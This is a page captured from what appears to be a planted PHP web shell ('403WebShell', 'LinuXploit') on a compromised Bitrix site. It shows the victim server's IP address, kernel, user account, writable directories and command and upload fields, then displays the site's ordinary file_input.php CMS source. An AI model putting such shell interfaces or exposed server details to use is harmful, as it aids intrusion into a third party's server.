%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.14.244.41
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/fileman/classes/general/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/fileman/classes/general/file_input.php
<?
IncludeModuleLangFile(__FILE__);
class CFileInput
{
	private static
		$bMultiple = false,
		$bUseUpload = false,
		$bUseMedialib = false,
		$bUseFileDialog = false,
		$bUseCloud = false,
		$bShowDescInput = false,
		$bShowDelInput = true,
		$curFileIds = array(),
		$curFiles = array(),
		$jsId,
		$bFileExists,
		$menuNew,
		$menuExist,
		$delInputName,
		$descInputName,
		$maxPreviewWidth,
		$maxPreviewHeight,
		$minPreviewWidth,
		$minPreviewHeight,
		$maxCount,
		$inputSize = 50,
		$arInputs = array(),
		$inputNameTemplate,
		$showInfo,
		$bViewMode
	;

	private static function Init($showInfo, $inputName, $maxCount = false)
	{
		self::$bMultiple = false;
		self::$bUseUpload = false;
		self::$bUseMedialib = false;
		self::$bUseFileDialog = false;
		self::$bUseCloud = false;
		self::$bShowDelInput = false;
		self::$bShowDescInput = false;
		self::$bViewMode = false;
		self::$maxCount = $maxCount;
		self::$showInfo = $showInfo;

		self::$maxPreviewWidth = max((isset($showInfo['MAX_SIZE']['W']) ? $showInfo['MAX_SIZE']['W'] : 200), 40);
		self::$maxPreviewHeight = max((isset($showInfo['MAX_SIZE']['H']) ? $showInfo['MAX_SIZE']['H'] : 200), 40);

		self::$minPreviewWidth = min((isset($showInfo['MIN_SIZE']['W']) ? $showInfo['MIN_SIZE']['W'] : 120), 500);
		self::$minPreviewHeight = min((isset($showInfo['MIN_SIZE']['H']) ? $showInfo['MIN_SIZE']['H'] : 100), 500);

		self::$jsId = 'bx_file_'.mb_strtolower(preg_replace("/[^a-z0-9]/i", "_", $inputName));
	}

/**
 * @param $strInputName
 * @param string $strFileId
 * @param bool|array $showInfo
 * @param array $inputs
 * @return string
 */
	public static function Show(
		$strInputName,
		$strFileId = "",
		$showInfo = false,
		$inputs = array()
	)
	{
		global $USER;

		CJSCore::Init('file_input');
		ob_start();

		$uploadInput = $inputs['upload'] === true ? array() : $inputs['upload'];
		$medialibInput = $inputs['medialib'] === true ? array() : $inputs['medialib'];
		$fileDialogInput = $inputs['file_dialog'] === true ? array() : $inputs['file_dialog'];
		$cloudInput = $inputs['cloud'] === true ? array() : $inputs['cloud'];

		self::Init($showInfo, $strInputName);

		//1. Upload from PC
		if(is_array($uploadInput))
		{
			self::$bUseUpload = true;
			if(!array_key_exists("NAME", $uploadInput))
				$uploadInput["NAME"] = $strInputName;
		}

		//2. Select file from medialib
		if(COption::GetOptionString('fileman', "use_medialib", "Y") != "N" && is_array($medialibInput))
		{
			self::$bUseMedialib = true;
			if(!array_key_exists("NAME", $medialibInput))
				$medialibInput["NAME"] = $strInputName;
		}

		//3. Select file from file dialog
		if(is_array($fileDialogInput))
		{
			self::$bUseFileDialog = true;
			if(!array_key_exists("NAME", $fileDialogInput))
				$fileDialogInput["NAME"] = $strInputName;
		}

		//4. Select file from cloud
		if(
			is_array($cloudInput)
			&& $USER->CanDoOperation("clouds_browse")
			&& CModule::IncludeModule("clouds")
			&& CCloudStorage::HasActiveBuckets()
		)
		{
			self::$bUseCloud = true;
			if(!array_key_exists("NAME", $cloudInput))
				$cloudInput["NAME"] = $strInputName;
		}

		if($inputs['description'] !== false)
		{
			self::$bShowDescInput = true;
			self::$descInputName = isset($inputs['description']["NAME"]) ? $inputs['description']["NAME"] : self::GetInputName($strInputName, "_descr");
		}

		if($inputs['del'] !== false)
		{
			self::$bShowDelInput = true;
			self::$delInputName = isset($inputs['del']["NAME"]) ? $inputs['del']["NAME"] : self::GetInputName($strInputName, "_del");
		}

		// $arFile - Array with current file or false if it's empty
		self::$curFileIds = is_array($strFileId) && !array_key_exists("tmp_name", $strFileId)? $strFileId : array($strFileId);
		self::$curFiles = array();
		self::$bFileExists = false;

		foreach(self::$curFileIds as $fileId)
		{
			if (is_array($fileId))
				continue;
			if (mb_strlen($fileId) <= 1 && intval($fileId) === 0)
				continue;

			self::$bFileExists = true;
			if($arFile = self::GetFile($fileId))
			{
				$arFile['FILE_NOT_FOUND'] = false;
				if (self::$bShowDescInput && isset($inputs['description']['VALUE']))
					$arFile['DESCRIPTION'] = $inputs['description']['VALUE'];
			}
			else
			{
				$arFile = array(
					'FILE_NOT_FOUND' => true,
					'DEL_NAME' => self::$delInputName
				);
			}
			self::$curFiles[] = $arFile;
		}

		self::$bViewMode = self::IsViewMode();
		if (self::$bViewMode)
			self::$bShowDelInput = false;

		if (!self::$bViewMode || self::$bFileExists)
		{
			$inputs = array(
				'upload' => self::$bUseUpload,
				'medialib' => self::$bUseMedialib,
				'file_dialog' => self::$bUseFileDialog,
				'cloud' => self::$bUseCloud,
				'del' => self::$bShowDelInput,
				'description' => self::$bShowDescInput
			);

			self::$arInputs = array(
				'upload' => $uploadInput,
				'medialib' => $medialibInput,
				'file_dialog' => $fileDialogInput,
				'cloud' => $cloudInput
			);

			self::DisplayControl($inputs);
		}

		$result = ob_get_contents();
		ob_end_clean();
		return $result;
	}

/**
 * @param array $values
 * @param string $inputNameTemplate
 * @param bool|array $showInfo
 * @param bool $maxCount
 * @param array $inputs
 * @return string
 */
	public static function ShowMultiple(
		$values = array(),
		$inputNameTemplate = "", // #IND# will be replaced by autoincrement int (0, 1, 2,..)
		$showInfo = false,
		$maxCount = false,
		$inputs = array()
	)
	{
		CJSCore::Init('file_input');
		ob_start();

		global $USER;
		self::Init($showInfo, $inputNameTemplate, $maxCount);
		self::$bMultiple = true;

		$arDescInput = (is_array($inputs['description']) && isset($inputs['description']['VALUES']) && isset($inputs['description']['NAME_TEMPLATE'])) ? $inputs['description'] : false;

		$inputs = array(
			'upload' => $inputs['upload'] === true,
			'medialib' => $inputs['medialib'] === true && COption::GetOptionString('fileman', "use_medialib", "Y") != "N",
			'file_dialog' => $inputs['file_dialog'] === true,
			'cloud' => $inputs['cloud'] === true && $USER->CanDoOperation("clouds_browse") && CModule::IncludeModule("clouds") && CCloudStorage::HasActiveBuckets(),
			'del' => $inputs['del'] !== false,
			'description' => $inputs['description'] === true || $arDescInput
		);

		self::$bUseUpload = $inputs['upload'];
		self::$bUseMedialib = $inputs['medialib'];
		self::$bUseFileDialog = $inputs['file_dialog'];
		self::$bUseCloud = $inputs['cloud'];
		self::$bShowDelInput = $inputs['del'];
		self::$bShowDescInput = $inputs['description'];
		self::$inputNameTemplate = $inputNameTemplate;

		self::$bViewMode = self::IsViewMode();
		if (self::$bViewMode)
			self::$bShowDelInput = false;

		if (self::$bShowDelInput)
			self::$delInputName = self::GetInputName($inputNameTemplate, "_del");

		if (self::$bShowDescInput)
		{
			self::$descInputName = '';
			if ($arDescInput)
				self::$descInputName = $arDescInput['NAME_TEMPLATE'];

			if (empty(self::$descInputName))
				self::$descInputName = self::GetInputName($inputNameTemplate, "_descr");
		}

		// $arFile - Array with current file or false if it's empty
		self::$curFiles = array();
		self::$bFileExists = false;

		if ($arDescInput)
		{
			reset($arDescInput['VALUES']);
		}

		foreach($values as $inputName => $fileId)
		{
			if (mb_strlen($fileId) <= 1 && intval($fileId) === 0)
				continue;

			self::$bFileExists = true;
			if($arFile = self::GetFile($fileId))
			{
				$arFile['FILE_NOT_FOUND'] = false;
				$arFile['INPUT_NAME'] = $inputName;
				$arFile['DEL_NAME'] = self::GetInputName($inputName, '_del');
				$arFile['DESC_NAME'] = self::GetInputName($inputName, '_descr');

				if ($arDescInput)
				{
					$arFile['DESC_NAME'] = key($arDescInput['VALUES']);
					$arFile['DESCRIPTION'] = current($arDescInput['VALUES']);
					next($arDescInput['VALUES']);
				}
			}
			else
			{
				$arFile = array(
					'FILE_NOT_FOUND' => true,
					'INPUT_NAME' => $inputName,
					'DEL_NAME' => self::GetInputName($inputName, '_del'),
					'DESC_NAME' => self::GetInputName($inputName, '_descr')
				);
			}

			self::$curFiles[] = $arFile;
		}

		self::DisplayControl($inputs);

		$result = ob_get_contents();
		ob_end_clean();
		return $result;
	}

	private static function GetFile($fileId = "")
	{
		$arFile = CFile::GetFileArray($fileId);
		$io = CBXVirtualIo::GetInstance();
		//Check if not ID but file path was given
		if(!is_array($arFile) && $fileId != "")
		{
			$strFilePath = $_SERVER["DOCUMENT_ROOT"].$fileId;
			if($io->FileExists($strFilePath))
			{
				$flTmp = $io->GetFile($strFilePath);
				$arFile = array(
					"PATH" => $fileId,
					"FILE_SIZE" => $flTmp->GetFileSize(),
					"DESCRIPTION" => "",
				);

				$arImageSize = CFile::GetImageSize($strFilePath);
				if(is_array($arImageSize))
				{
					$arFile["WIDTH"] = intval($arImageSize[0]);
					$arFile["HEIGHT"] = intval($arImageSize[1]);
				}
			}
			elseif(self::$showInfo['IMAGE'] == 'N')
			{
				$arFile = array(
					"PATH" => $fileId,
					"FORMATED_SIZE" => '',
					"DESCRIPTION" => "",
					"IS_IMAGE" => false
				);
				return $arFile;
			}
		}


		$sImagePath = isset($arFile["PATH"]) ? $arFile["PATH"] : $arFile["SRC"];
		if(
			$arFile["HANDLER_ID"]
			|| (defined("BX_IMG_SERVER") && mb_substr($sImagePath, 0, mb_strlen(BX_IMG_SERVER)) === BX_IMG_SERVER)
			|| $io->FileExists($_SERVER["DOCUMENT_ROOT"].$sImagePath)
		)
		{
			$arFile["FORMATED_SIZE"] = CFile::FormatSize($arFile["FILE_SIZE"]);
			$arFile["IS_IMAGE"] = $arFile["WIDTH"] > 0 && $arFile["HEIGHT"] > 0 && self::$showInfo['IMAGE'] != 'N';

			//Mantis:#65168
			if ($arFile["CONTENT_TYPE"] && $arFile["IS_IMAGE"] && mb_strpos($arFile["CONTENT_TYPE"], 'application') !== false)
			{
				$arFile["IS_IMAGE"] = false;
			}

			unset($arFile["MODULE_ID"], $arFile["CONTENT_TYPE"], $arFile["SUBDIR"], $arFile["~src"]);
			return $arFile;
		}

		return false;
	}

	private static function DisplayControl($inputs = array())
	{
		self::$menuNew = array();
		self::$menuExist = array();

		if ($inputs['upload'])
		{
			self::$menuNew[] = array("ID" => "upload", "GLOBAL_ICON" => "adm-menu-upload-pc", "TEXT" => GetMessage("ADM_FILE_UPLOAD"), "CLOSE_ON_CLICK" => false);
			self::$menuExist[] = array("ID" => "upload", "GLOBAL_ICON" => "adm-menu-upload-pc", "TEXT" => GetMessage("ADM_FILE_NEW_UPLOAD"), "CLOSE_ON_CLICK" => false);
		}
		if ($inputs['medialib'])
		{
			self::$menuNew[] = array("TEXT" => GetMessage("ADM_FILE_MEDIALIB"), "GLOBAL_ICON" => "adm-menu-upload-medialib", "ONCLICK" => "OpenMedialibDialog".self::$jsId."()");
			self::$menuExist[] = array("TEXT" => GetMessage("ADM_FILE_NEW_MEDIALIB"), "GLOBAL_ICON" => "adm-menu-upload-medialib", "ONCLICK" => "OpenMedialibDialog".self::$jsId."()");
		}
		if ($inputs['file_dialog'])
		{
			self::$menuNew[] = array("TEXT" => GetMessage("ADM_FILE_SITE"), "GLOBAL_ICON" => "adm-menu-upload-site", "ONCLICK" => "OpenFileDialog".self::$jsId."()");
			self::$menuExist[] = array("TEXT" => GetMessage("ADM_FILE_NEW_SITE"), "GLOBAL_ICON" => "adm-menu-upload-site", "ONCLICK" => "OpenFileDialog".self::$jsId."()");
		}

		if ($inputs['cloud'])
		{
			self::$menuNew[] = array("TEXT" => GetMessage("ADM_FILE_CLOUD"), "GLOBAL_ICON" => "adm-menu-upload-cloud", "ONCLICK" => "OpenCloudDialog".self::$jsId."()");
			self::$menuExist[] = array("TEXT" => GetMessage("ADM_FILE_NEW_CLOUD"), "GLOBAL_ICON" => "adm-menu-upload-cloud", "ONCLICK" => "OpenCloudDialog".self::$jsId."()");
		}

		$arConfig = array(
			'id' => self::$jsId,
			'fileExists' => self::$bFileExists,
			'files' => self::$curFiles,
			'menuNew' => self::$menuNew,
			'menuExist' => self::$menuExist,
			'multiple' => self::$bMultiple,
			'useUpload' => self::$bUseUpload,
			'useMedialib' => self::$bUseMedialib,
			'useFileDialog' => self::$bUseFileDialog,
			'useCloud' => self::$bUseCloud,
			'delName' => self::$delInputName,
			'descName' => self::$descInputName,
			'inputSize' => self::$inputSize,
			'minPreviewHeight' => self::$minPreviewHeight,
			'minPreviewWidth' => self::$minPreviewWidth,
			'showDesc' => self::$bShowDescInput,
			'showDel' => self::$bShowDelInput,
			'maxCount' => self::$maxCount,
			'viewMode' => self::$bViewMode
		);

		if (self::$bMultiple)
			$arConfig['inputNameTemplate'] = self::$inputNameTemplate;
		else
			$arConfig['inputs'] = self::$arInputs;

		if (self::$bUseCloud)
			$arConfig['cloudDialogPath'] = '/bitrix/admin/clouds_file_search.php?lang='.LANGUAGE_ID.'&n=';


		//Base container
		?><div class="adm-input-file-control" id="<?= self::$jsId.'_cont'?>"><?
			if (!self::$bViewMode)
				self::DisplayDialogs();

			if (self::$bFileExists)
				foreach(self::$curFiles as $ind => $arFile)
					self::DisplayFile($arFile, $ind);
		?>
		<script type="text/javascript">
			var topWindow = BX.PageObject.getRootWindow();
			(topWindow.BX.file_input) ? new topWindow.BX.file_input(<?= CUtil::PHPToJSObject($arConfig)?>) : new BX.file_input(<?= CUtil::PHPToJSObject($arConfig)?>)
		</script>
		</div>
		<?/* Used to refresh form content - workaround for IE bug (mantis:37969) */?>
	<div id="<?= self::$jsId.'_ie_bogus_container'?>"><input type="hidden" value="" /></div>
	<?
	}

	private static function DisplayDialogs()
	{
		if(self::$bUseMedialib)
		{
			CMedialib::ShowDialogScript(array(
				"event" => "OpenMedialibDialog".self::$jsId,
				"arResultDest" => array(
					"FUNCTION_NAME" => "SetValueFromMedialib".self::$jsId,
				)
			));
		}

		if (self::$bUseFileDialog)
		{
			CAdminFileDialog::ShowScript
			(
				Array(
					"event" => "OpenFileDialog".self::$jsId,
					"arResultDest" => array("FUNCTION_NAME" => "SetValueFromFileDialog".self::$jsId),
					"arPath" => array("SITE" => SITE_ID, "PATH" =>"/upload"),
					"select" => 'F',// F - file only, D - folder only
					"operation" => 'O',
					"showUploadTab" => true,
					"allowAllFiles" => true,
					"SaveConfig" => true,
				)
			);
		}
	}

	private static function DisplayFile($arFile = array(), $ind = 0)
	{
		$hintId = self::$jsId.'_file_disp_'.$ind;
		$bNotFound = $arFile['FILE_NOT_FOUND'];

		// Hint
		$hint = '';

		if (!$bNotFound)
		{
			$sImagePath = isset($arFile["PATH"]) ? $arFile["PATH"] : $arFile["SRC"];
			$descName = isset($arFile['DESC_NAME']) ? $arFile['DESC_NAME'] : self::$descInputName;

			if ($arFile['FORMATED_SIZE'] != '')
				$hint .= '<span class="adm-input-file-hint-row">'.GetMessage('ADM_FILE_INFO_SIZE').':&nbsp;&nbsp;'.$arFile['FORMATED_SIZE'].'</span>';

			if ($arFile['IS_IMAGE'])
				$hint .= '<span class="adm-input-file-hint-row">'.GetMessage('ADM_FILE_INFO_DIM').':&nbsp;&nbsp;'.$arFile['WIDTH'].'x'.$arFile['HEIGHT'].'</span>';
			if ($sImagePath != '')
				$hint .= '<span class="adm-input-file-hint-row">'.GetMessage('ADM_FILE_INFO_LINK').':&nbsp;&nbsp;<a href="'.CHTTP::urnEncode($sImagePath, "UTF-8").'">'.htmlspecialcharsbx($sImagePath).'</a></span>';

			if (!self::$bShowDescInput && $arFile['DESCRIPTION'] != "")
				$hint .= '<span class="adm-input-file-hint-row">'.GetMessage('ADM_FILE_DESCRIPTION').':&nbsp;&nbsp;'.htmlspecialcharsbx($arFile['DESCRIPTION']).'</span>';
		}
		?><span class="adm-input-file-exist-cont" id="<?= self::$jsId?>_file_cont_<?= $ind?>">
		<div class="adm-input-file-ex-wrap<?if(self::$bMultiple){echo ' adm-input-cont-bordered';}?>">
		<?
		if ($bNotFound)
		{
			?>
			<span id="<?= self::$jsId.'_file_404_'.$ind?>" class="adm-input-file-not-found">
			<?= GetMessage('ADM_FILE_NOT_FOUND')?>
			</span>
			<?
		}
		elseif ($arFile['IS_IMAGE'])
		{
			$file = CFile::ResizeImageGet($arFile['ID'], array('width' => self::$maxPreviewWidth, 'height' => self::$maxPreviewHeight), BX_RESIZE_IMAGE_PROPORTIONAL, true);
			?>
			<span id="<?= $hintId?>" class="adm-input-file-preview" style="<?if(self::$minPreviewWidth > 0){echo 'min-width: '.self::$minPreviewWidth.'px;';}?> <?if(self::$minPreviewHeight > 0){echo 'min-height:'.self::$minPreviewHeight.'px;';}?>">
				<?= CFile::Show2Images($file['src'], $arFile['SRC'], self::$maxPreviewWidth, self::$maxPreviewHeight);?><?
				if (!self::IsViewMode() || self::$bShowDelInput)
				{
					?><div id="<?= self::$jsId.'_file_del_lbl_'.$ind?>" class="adm-input-file-del-lbl"><?= GetMessage
			('ADM_FILE_DELETED_TITLE')?></div><?
				}
			?></span>
			<?
		}
		else
		{
			$val = !empty($arFile['FILE_NAME']) ? $arFile['FILE_NAME'] : $sImagePath;
			?>
			<a id="<?= $hintId?>" href="<?= htmlspecialcharsbx($arFile['SRC'])?>" class="adm-input-file-name"><?= htmlspecialcharsbx($val)?></a>
			<?
		}

		if ($hint != '')
		{
		?>
		<script type="text/javascript">
			new (BX.PageObject.getRootWindow()).BX.CHint({
				parent: (BX.PageObject.getRootWindow()).BX("<?= $hintId?>"),
				show_timeout: 10,
				hide_timeout: 200,
				dx: 2,
				preventHide: true,
				min_width: 250,
				hint: '<?= CUtil::JSEscape($hint)?>'
			});
		</script>
			<?
		}

		if (!self::$bViewMode)
			self::ShowOpenerMenuHtml(self::$jsId.'_menu_'.$ind, $ind);

		if (!$bNotFound && self::$bShowDescInput)
		{
			?>
			<div id="<?= self::$jsId.'_file_desc_'.$ind?>" class="adm-input-file-desc-inp-cont" <?if($arFile['DESCRIPTION'] == ""){echo 'style="display: none;"';}?>>
				<input name="<?= $descName?>" class="adm-input" type="text" value="<?= htmlspecialcharsbx($arFile['DESCRIPTION'])?>" size="<?= self::$inputSize?>" placeholder="<?= GetMessage("ADM_FILE_DESC")?>" <?if(self::$bViewMode){echo ' disabled="disabled"';}?>>
			</div>
			<?
		}
		?>
		</div>
		</span>
		<?
	}

	private static function ShowOpenerMenuHtml($id, $data=false)
	{
		?><span <?if($data !== false){echo 'data-bx-meta="'.$data.'"';}?> id="<?= $id?>" class="adm-btn add-file-popup-btn"></span><?
	}

	private static function GetInputName($inputName, $type = "")
	{
		if ($type == "")
			return $inputName;
		$p = mb_strpos($inputName, "[");
		return  ($p > 0) ? mb_substr($inputName, 0, $p).$type.mb_substr($inputName, $p) : $inputName.$type;
	}

	private static function IsViewMode()
	{
		return !self::$bUseUpload && !self::$bUseMedialib && !self::$bUseFileDialog && !self::$bUseCloud;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit